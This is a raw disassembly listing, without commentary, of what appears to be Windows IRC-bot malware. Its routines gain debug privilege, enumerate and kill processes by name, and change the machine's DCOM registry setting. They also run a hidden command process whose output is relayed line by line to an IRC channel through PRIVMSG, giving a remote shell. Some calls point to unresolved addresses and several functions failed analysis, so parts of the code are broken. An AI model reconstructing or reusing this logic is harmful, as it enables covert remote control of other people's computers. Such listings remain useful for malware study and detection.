loc_419A0F:				; CODE XREF: sub_4199AC+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A19:				; CODE XREF: sub_4199AC+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A23:				; CODE XREF: sub_4199AC+1Aj
		sub	eax, 7Ch
		jz	short loc_419A50
		sub	eax, 7C8h
		jz	short loc_419A49
		dec	eax
		jz	short loc_419A3F
		dec	eax
		jnz	short loc_419AAD
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A3F:				; CODE XREF: sub_4199AC+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A49:				; CODE XREF: sub_4199AC+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A50:				; CODE XREF: sub_4199AC+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A57:				; CODE XREF: sub_4199AC+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A5E:				; CODE XREF: sub_4199AC+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419A97
		jz	short loc_419A90
		sub	eax, 8ADh
		jz	short loc_419AC2
		dec	eax
		dec	eax
		jz	short loc_419A89
		dec	eax
		jz	short loc_419A82
		dec	eax
		dec	eax
		jnz	short loc_419AAD
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A82:				; CODE XREF: sub_4199AC+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A89:				; CODE XREF: sub_4199AC+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: sub_4199AC+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A97:				; CODE XREF: sub_4199AC+B9j
		sub	eax, 8CAh
		jz	short loc_419AC9
		sub	eax, 17h
		jz	short loc_419AC2
		sub	eax, 25h
		jz	short loc_419ABB
		sub	eax, 29h
		jz	short loc_419AB4


loc_419AAD:				; CODE XREF: sub_4199AC+35j
					; sub_4199AC+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AB4:				; CODE XREF: sub_4199AC+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419ABB:				; CODE XREF: sub_4199AC+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC2:				; CODE XREF: sub_4199AC+C2j
					; sub_4199AC+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC9:				; CODE XREF: sub_4199AC+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419ACE:				; CODE XREF: sub_4199AC+40j
					; sub_4199AC+4Aj ...
		push	offset dword_4DB5E0
		call	sub_41C266
		pop	ecx
		mov	eax, offset dword_4DB5E0
		pop	ecx
		retn
sub_4199AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AE0	proc near		; CODE XREF: sub_401ACD+467Fp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0D4
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26C0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0B7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB9E4
		test	eax, eax
		jnz	short loc_419B70
		mov	esi, offset dword_4DB3DC
		push	offset unk_43A20C
		push	esi
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_419B99
; ---------------------------------------------------------------------------


loc_419B70:				; CODE XREF: sub_419AE0+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4199AC
		pop	ecx
		mov	esi, offset dword_4DB3DC
		push	eax
		push	offset dword_43A1E0
		push	esi
		call	sub_41C266
		add	esp, 14h


loc_419B99:				; CODE XREF: sub_419AE0+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B9E	proc near		; CODE XREF: sub_4172C1+45p
					; sub_4172C1+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 2720625h
		push	eax
		call	dword_4CB9B8
		test	eax, eax
		jnz	short loc_419BBD
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BBD:				; CODE XREF: sub_419B9E+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB990
		test	eax, eax
		jz	short loc_419BFB
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419BE4
		or	[ebp+var_8], 2
		jmp	short loc_419BE8
; ---------------------------------------------------------------------------


loc_419BE4:				; CODE XREF: sub_419B9E+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419BE8:				; CODE XREF: sub_419B9E+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CBA40
		mov	esi, eax


loc_419BFB:				; CODE XREF: sub_419B9E+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2670000h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419B9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C09	proc near		; CODE XREF: sub_401ACD+7770p
					; sub_419E38+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB9F4, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_419E08
		cmp	dword_4CB9D8, ebx
		jz	loc_419E08
		cmp	dword_4CB8E8, ebx
		jz	loc_419E08
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB9F4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_419DFB
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB9D8
		mov	esi, dword_427070
		test	eax, eax
		jz	loc_419DF6
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB8E8
		test	eax, eax
		jz	loc_419DF6
		mov	edi, dword_42708C
		mov	ebx, 1F0FFFh


loc_419CCD:				; CODE XREF: sub_419C09+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_419D34
		mov	[ebp+var_4], offset off_43A238


loc_419CDB:				; CODE XREF: sub_419C09+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	short loc_419D03
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43A298
		jb	short loc_419CDB
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D03:				; CODE XREF: sub_419C09+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419DDC
		push	0
		push	eax
		nop
		call	near ptr 2710A8Eh
		test	eax, eax
		jnz	loc_419DDC


loc_419D2A:				; CODE XREF: sub_419C09+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D34:				; CODE XREF: sub_419C09+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_419DC7
		cmp	[ebp+arg_4], eax
		jz	loc_419DDC
		push	[ebp+var_128]
		push	8
		call	dword_4CB9F4
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_419D87
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB894
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419D8D
		lea	eax, [ebp+var_234]
		jmp	short loc_419D93
; ---------------------------------------------------------------------------


loc_419D87:				; CODE XREF: sub_419C09+15Cj
		push	[ebp+var_128]


loc_419D8D:				; CODE XREF: sub_419C09+174j
		lea	eax, [ebp+var_10C]


loc_419D93:				; CODE XREF: sub_419C09+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		jmp	loc_419D2A
; ---------------------------------------------------------------------------


loc_419DC7:				; CODE XREF: sub_419C09+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419E0F


loc_419DDC:				; CODE XREF: sub_419C09+F5j
					; sub_419C09+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB8E8
		test	eax, eax
		jnz	loc_419CCD
		xor	ebx, ebx


loc_419DF6:				; CODE XREF: sub_419C09+9Dj
					; sub_419C09+B3j
		push	[ebp+var_8]
		call	esi


loc_419DFB:				; CODE XREF: sub_419C09+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx


loc_419E08:				; CODE XREF: sub_419C09+3Aj
					; sub_419C09+46j ...
		xor	eax, eax


loc_419E0A:				; CODE XREF: sub_419C09+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419E0F:				; CODE XREF: sub_419C09+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 2710A8Eh
		test	eax, eax
		jnz	short loc_419E33
		push	edi
		call	esi
		jmp	short loc_419E08
; ---------------------------------------------------------------------------


loc_419E33:				; CODE XREF: sub_419C09+223j
		push	1
		pop	eax
		jmp	short loc_419E0A
sub_419C09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; DATA XREF: sub_401ACD+2687o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43A438
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419E97
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419E97:				; CODE XREF: sub_419E38+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419C09
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419EBF
		push	offset unk_43A414
		jmp	short loc_419EC4
; ---------------------------------------------------------------------------


loc_419EBF:				; CODE XREF: sub_419E38+7Ej
		push	offset unk_43A3F0


loc_419EC4:				; CODE XREF: sub_419E38+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419EF7
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419EF7:				; CODE XREF: sub_419E38+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415D38
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
sub_419E38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F16	proc near		; CODE XREF: sub_401ACD+7712p
					; sub_40B4F5+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 2680656h
		mov	esi, eax
		test	esi, esi
		jz	short loc_419F48
		push	0
		push	esi
		call	near ptr 2710A8Eh
		nop
		test	eax, eax
		jnz	short loc_419F48
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2670000h


loc_419F48:				; CODE XREF: sub_419F16+1Aj
					; sub_419F16+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_419F16	endp

; ---------------------------------------------------------------------------
byte_419F4D	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23435h
		dd 47E89000h, 0EB022664h
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419F6D	proc near		; CODE XREF: sub_419F9D+2Ap
					; sub_419FD5+7Ep ...
		mov	eax, dword_4DBC48
		push	esi
		mov	esi, dword_427070
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F81
		push	eax
		call	esi


loc_419F81:				; CODE XREF: sub_419F6D+Fj
		mov	eax, dword_4DBC50
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F8E
		push	eax
		call	esi


loc_419F8E:				; CODE XREF: sub_419F6D+1Cj
		mov	eax, dword_4DBC44
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F9B
		push	eax
		call	esi


loc_419F9B:				; CODE XREF: sub_419F6D+29j
		pop	esi
		retn
sub_419F6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F9D	proc near		; CODE XREF: sub_401ACD+7475p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DBC4C
		call	near ptr 2700000h
		nop
		test	eax, eax
		jnz	short loc_419FD0
		call	sub_419F6D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419FD0:				; CODE XREF: sub_419F9D+28j
		push	1
		pop	eax
		leave
		retn
sub_419F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD5	proc near		; CODE XREF: sub_41A05C+D3p
					; sub_41A05C+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43DB88
		push	[ebp+arg_4]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A018
		push	7D0h
		nop
		call	near ptr 26803B2h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41A02F
; ---------------------------------------------------------------------------


loc_41A018:				; CODE XREF: sub_419FD5+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_41A02F:				; CODE XREF: sub_419FD5+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		test	eax, eax
		jg	short loc_41A058
		call	sub_419F6D


loc_41A058:				; CODE XREF: sub_419FD5+7Cj
		xor	eax, eax
		leave
		retn
sub_419FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A05C	proc near		; DATA XREF: sub_41A1B1+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DBC54


loc_41A074:				; CODE XREF: sub_41A05C+79j
					; sub_41A05C+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DBC48
		nop
		call	near ptr 28309C9h
		test	eax, eax
		jz	loc_41A142
		cmp	[ebp+var_4], edi
		jnz	short loc_41A0D7
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DBC44
		nop
		call	near ptr 283058Bh
		test	eax, eax
		jz	short loc_41A0CD
		cmp	[ebp+var_8], 103h
		jnz	loc_41A166


loc_41A0CD:				; CODE XREF: sub_41A05C+62j
		push	0Ah
		call	near ptr 26803B2h
		nop
		jmp	short loc_41A074
; ---------------------------------------------------------------------------


loc_41A0D7:				; CODE XREF: sub_41A05C+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A0EE


loc_41A0DE:				; CODE XREF: sub_41A05C+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A13C
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A0DE


loc_41A0EE:				; CODE XREF: sub_41A05C+80j
		mov	[ebp+var_4], esi


loc_41A0F1:				; CODE XREF: sub_41A05C+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DBC48
		nop
		call	near ptr 26F1066h
		test	eax, eax
		jz	short loc_41A18E
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		add	esp, 0Ch
		jmp	loc_41A074
; ---------------------------------------------------------------------------


loc_41A13C:				; CODE XREF: sub_41A05C+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A0F1
; ---------------------------------------------------------------------------


loc_41A142:				; CODE XREF: sub_41A05C+45j
		push	offset unk_43A4C0
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	1
		nop
		call	near ptr 26E0000h


loc_41A166:				; CODE XREF: sub_41A05C+6Bj
		call	sub_419F6D
		push	offset unk_43A498
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 26E0000h
		nop


loc_41A18E:				; CODE XREF: sub_41A05C+C3j
		push	offset unk_43A468
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 26E0000h
		nop
sub_41A05C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1B1	proc near		; CODE XREF: sub_401ACD+24AAp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419F6D
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_4346E0
		push	esi
		call	dword_4CBA90
		test	eax, eax
		jz	loc_41A2AB
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_427108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		mov	edi, dword_427104
		push	3
		push	esi
		push	esi
		push	offset dword_4DBC4C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_41A2AB
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43DB88
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2670323h
		test	eax, eax
		jnz	short loc_41A2B3


loc_41A2AB:				; CODE XREF: sub_41A1B1+2Fj
					; sub_41A1B1+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A361
; ---------------------------------------------------------------------------


loc_41A2B3:				; CODE XREF: sub_41A1B1+F8j
		push	[ebp+var_4]
		mov	edi, dword_427070
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DBC48, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DBC50, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DBC44, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DBC88, eax
		jz	short loc_41A2ED
		push	[ebp+arg_4]
		jmp	short loc_41A2EE
; ---------------------------------------------------------------------------


loc_41A2ED:				; CODE XREF: sub_41A1B1+135j
		push	ebx


loc_41A2EE:				; CODE XREF: sub_41A1B1+13Aj
		push	offset dword_4DBC54
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A524
		call	sub_40B3BA
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E918[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A05C
		push	esi
		push	esi
		nop
		call	near ptr 2680437h
		cmp	eax, esi
		mov	dword_43E924[edi], eax
		jnz	short loc_41A35F
		nop
		call	near ptr 2680C22h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A4F0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_41A35F:				; CODE XREF: sub_41A1B1+185j
		xor	eax, eax


loc_41A361:				; CODE XREF: sub_41A1B1+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A1B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A366	proc near		; DATA XREF: sub_401ACD+2DC8o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A3AD
		call	sub_41A3C6
		jmp	short loc_41A3B2
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A366+3Ej
		call	sub_41A6EA


loc_41A3B2:				; CODE XREF: sub_41A366+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 26E0000h
sub_41A366	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3C6	proc near		; CODE XREF: sub_41A366+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CBAA4, edi
		jnz	loc_41A4F8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A451
		mov	ax, word_439298
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A433
		push	offset dword_43A7C0
		jmp	short loc_41A438
; ---------------------------------------------------------------------------


loc_41A433:				; CODE XREF: sub_41A3C6+64j
		push	offset dword_43A7A0


loc_41A438:				; CODE XREF: sub_41A3C6+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A464
; ---------------------------------------------------------------------------


loc_41A451:				; CODE XREF: sub_41A3C6+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A464:				; CODE XREF: sub_41A3C6+89j
		cmp	[ebp+arg_C], edi
